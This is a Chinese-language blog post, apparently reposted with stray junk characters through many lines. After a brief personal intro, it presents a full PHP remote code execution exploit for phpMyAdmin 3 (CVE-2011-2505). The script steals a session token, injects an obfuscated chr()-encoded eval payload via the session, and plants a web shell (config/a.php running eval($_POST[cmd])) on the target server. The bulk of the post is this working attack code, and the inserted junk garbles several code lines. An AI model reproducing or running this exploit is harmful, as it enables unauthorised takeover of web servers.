phpadmin3 remote code execute php版本exploit

admin

最近在家做专职奶爸，不谙圈内事很多months了，博客也无更新。
3 O) }5 g$ H) v! g5 z% W
6 b6 j) k* I: G: B! A昨夜带孩子整夜未眠，看到黑哥在php security群里关于phpmyadmin3漏洞的讨论，虽然之前没看过漏洞代码，不过前段时间还是在微博上看到wofeiwo的exp了，不过据黑哥说有不鸡肋的利用方法，于是夜里翻代码出来研究了翻，写出了这个冷饭exp，由于我搞的晚了，之前已经很多人研究了写exp了，于是我这个属于炒冷饭，权当研究研究打发时间了。

首先赞下wofeiwo的python版本的exp，再赞下wofeiwo跟superhei的钻研精神，学习的榜样啊。不过之前那个exp利用起来是有一些限制的：
% r$ q1 v9 H. M& L: u一是session.auto_start = 1；
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。
当然还有第三点大家都不可以逾越的鸿沟：config目录存在且可写。
& G1 E' o, o3 K+ U1 l% `
% E7 e" V! n! Q3 v# F* z在群里看了黑哥的发言后，再看了下代码，发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。

于是写了这个php版本的exp，代码如下：

5 U; r7 @8 E7 e' d, A6 D; [#!/usr/bin/php
<?php
# u3 ?  n" V4 e/ H* k" @  n8 G0 zprint_r('
+---------------------------------------------------------------------------+
) q4 G, _; R, h; d; `' @- l8 Upma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]
# w" l7 R6 t4 Z. a: |, M6 `by oldjun(www.oldjun.com)
* x( O( G: ^3 i, w! C; y. ~welcome to www.t00ls.net
2 M8 Q# Q! y1 Kmail: oldjun@gmail.com
7 i4 c: Q; }1 UAssigned CVE id: CVE-2011-2505
+---------------------------------------------------------------------------+
4 r: Z( Q5 T/ r% Q2 I) o');

/**
* working when the directory:"config" exists and is writeable.
7 j# n5 [, u: s& L" Y**/
& G" ^8 N) e" g/ _6 Y" g7 l
if ($argc < 3) {
    print_r('
. F3 M/ o" U6 d+---------------------------------------------------------------------------+
' S. y5 v" Q' |9 J0 f6 bUsage: php '.$argv[0].' host path
host:      target server (ip/hostname)
9 q. ~; `4 g" Q6 `  [9 D) Cpath:      path to pma3
Example:
6 W+ X# g$ b7 e; T4 D# iphp '.$argv[0].' localhost /pma/
+---------------------------------------------------------------------------+
: M4 l. `2 x* h');
8 x8 x5 k  @. @9 W8 t# N    exit;
}

' I* q" N' X0 P, v$host = $argv[1];
9 d% ?" w) x* r' S+ y, U$path = $argv[2];

/**
, c8 f- |6 d$ j) \# N6 y" k0 B * Try to determine if the directory:"config" exists
**/
echo "[+] Try to determine if the directory:config exists....\n";
$returnstr=php_request('config/');
7 M; V+ l7 r! A: i6 [/ {$ vif(strpos($returnstr,'404')){
) ^) c: S% a7 _' ?- h7 u    exit("[-] Exploit Failed! The directory:config do not exists!\n");
}

8 n: n1 |6 [* W+ F' _/**
( }3 [* _( ~! f0 b0 Q * Try to get token and sessionid
**/
echo "[+] Try to get token and sessionid....\n";
$result=php_request('index.php');
6 I* z9 ^8 s! }( G0 T* ~preg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$token=$resp[3];
$sessionid=$resp[1];
* W1 }3 Y5 |$ zif($token && $sessionid){
7 Z/ F! m+ ]: @& ]# O    echo "[+] tokentoken\n";
. s4 C5 E/ T! I0 z    echo "[+] Session IDsessionid\n";
5 L5 z# v' U5 f. _6 M}else{
    exit("[-] Can't get token and Session ID,Exploit Failed!\n");
}

2 F5 X8 f! i9 p2 V- Y  C2 Q. E/**
* Try to insert shell into session
**/
, V' B# V2 |* c# s7 M4 Becho "[+] Try to insert shell into session....\n";
7 G; p/ K( A# h" z$ L% l2 }php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.
! _& e% k8 d9 G! _; [3 }
' p. _& P3 p9 e: F/**
3 K6 h- h) X7 F& [& C7 D/ j9 R * Try to create webshell
**/
echo "[+] Try to create webshell....\n";
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
/**
* Try to check if the webshell was created successfully
! _2 O+ I/ A( ?4 s+ t3 L**/
/ X' x) T$ w" Techo "[+] Try to check if the webshell was created successfully....\n";
+ L$ `7 f9 n. H0 w" E$content=php_request('config/config.inc.php');
if(strpos($content,'t00ls')){
    echo "[+] Congratulations! Expoilt successfully....\n";
    echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
}else{
    exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");
1 P, P8 m. o! d}

, q  M6 Z) Y& H5 j) B, B" tfunction php_request($url,$data='',$cookie=''){
' g% O, v$ Z/ n$ [5 L) q    global  $host, $path;
   
    $method=$data?'POST':'GET';
9 `1 t5 y6 P6 b3 G" x* C   
6 f' D& T8 \, j+ N+ d    $packet = $method." ".$path.$url." HTTP/1.1\r\n";
    $packet .= "Accept: */*\r\n";
0 }) A# \. c( D4 H    $packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $packet .= "Host: $host\r\n";
; t1 |+ x# k, C% F* K" k4 S% @* F  O    $packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
    $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
    $packet .= $cookie?"Cookie: $cookie\r\n":"";
; K  @: @7 A/ }& F* [+ C9 h5 R    $packet .= "Connection: Close\r\n\r\n";
! e* d. ^5 U+ Y1 ~3 z0 f- [    $packet .= $data?$data:"";
! B$ G8 T5 r- v  U9 M. k* o, r) P
% p# \* m4 u# {& v* N    $fp = fsockopen(gethostbyname($host), 80);
) A' U8 n% K+ E! e8 W6 ~4 @, B    if (!$fp) {
# ?% W( [( s7 N* c' G    echo 'No response from '.$host; die;
    }
' z9 J; _7 M2 `$ ^    fputs($fp, $packet);
& m) S% Q$ f; Q, t1 G
    $resp = '';

    while ($fp && !feof($fp))
4 j0 [; ]2 L$ |( }9 I2 u! c        $resp .= fread($fp, 1024);
! l, r- h' ]; u7 `' V1 @$ ?) a
! m8 ]# }+ x. @. b    return $resp;
}
5 d) h, q0 t3 m0 U3 X6 t- c7 ^   
  g2 f5 j8 W" E9 R' c, f9 i?>
! w8 J( F/ Q; G% F- p7 t/ s.